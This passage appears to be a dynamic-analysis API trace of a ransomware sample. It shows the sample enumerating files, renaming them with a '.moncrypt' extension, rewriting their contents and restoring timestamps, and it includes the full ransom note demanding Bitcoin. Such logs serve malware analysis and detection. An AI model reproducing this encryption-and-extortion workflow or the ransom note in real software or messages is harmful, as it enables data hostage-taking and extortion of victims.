MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\axis\\") returned 0x3d [0050.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.507] GlobalLock (hMem=0x440004) returned 0x550170 [0050.507] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.507] GlobalUnlock (hMem=0x440004) returned 0 [0050.507] GlobalLock (hMem=0x440004) returned 0x550170 [0050.507] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.507] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.507] GlobalUnlock (hMem=0x440004) returned 0 [0050.507] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.507] GlobalUnlock (hMem=0x44000c) returned 0 [0050.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.507] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.507] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0050.507] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.507] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.507] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.507] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.507] GlobalUnlock (hMem=0x44000c) returned 0 [0050.507] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.507] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.507] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.507] GlobalUnlock (hMem=0x44000c) returned 0 [0050.507] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.507] GlobalUnlock (hMem=0x440004) returned 0 [0050.507] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.508] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.509] CloseHandle (hObject=0x18c) returned 1 [0050.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\я")) returned 1 [0050.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 0x54e240 [0050.510] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.510] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.510] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", dwFileAttributes=0x20) returned 1 [0050.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.moncrypt")) returned 1 [0050.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.511] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.511] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x189be [0050.511] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.511] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.513] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.513] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.513] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.513] GlobalUnlock (hMem=0x44000c) returned 0 [0050.513] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.513] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.514] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.514] GlobalUnlock (hMem=0x44000c) returned 0 [0050.514] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.514] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.514] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.514] GlobalUnlock (hMem=0x440004) returned 0 [0050.514] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.514] GlobalUnlock (hMem=0x44000c) returned 0 [0050.514] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.514] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.514] GlobalUnlock (hMem=0x44000c) returned 0 [0050.514] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.514] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.514] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.514] GlobalUnlock (hMem=0x44000c) returned 0 [0050.515] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.515] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.515] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.515] SetFilePointer (in: hFile=0x18c, lDistanceToMove=100798, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x189be [0050.515] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.515] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.515] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.526] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.527] CloseHandle (hObject=0x18c) returned 1 [0050.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.528] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.528] CloseHandle (hObject=0x18c) returned 1 [0050.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.529] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.529] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.529] GlobalUnlock (hMem=0x44000c) returned 0 [0050.529] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.529] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.529] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.529] GlobalUnlock (hMem=0x44000c) returned 0 [0050.529] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.529] GlobalUnlock (hMem=0x440004) returned 0 [0050.529] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69e98, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.529] GetLastError () returned 0x2 [0050.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.532] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.532] CloseHandle (hObject=0x18c) returned 1 [0050.533] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0050.533] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.533] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.533] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.533] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.533] GlobalUnlock (hMem=0x440004) returned 0 [0050.533] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.533] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.533] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.533] GlobalUnlock (hMem=0x440004) returned 0 [0050.533] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.533] GlobalUnlock (hMem=0x44000c) returned 0 [0050.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.533] CharLowerBuffW (in: lpsz="AXIS.INF", cchLength=0x8 | out: lpsz="axis.inf") returned 0x8 [0050.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.534] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", cchWideChar=69, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpUsedDefaultChar=0x0) returned 69 [0050.534] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\AXIS\\AXIS.INF", lpUsedDefaultChar=0x0) returned 4 [0050.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.534] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.534] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.534] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.534] GlobalUnlock (hMem=0x44000c) returned 0 [0050.534] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.534] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.534] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.534] GlobalUnlock (hMem=0x44000c) returned 0 [0050.534] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.534] GlobalUnlock (hMem=0x440004) returned 0 [0050.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.535] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, 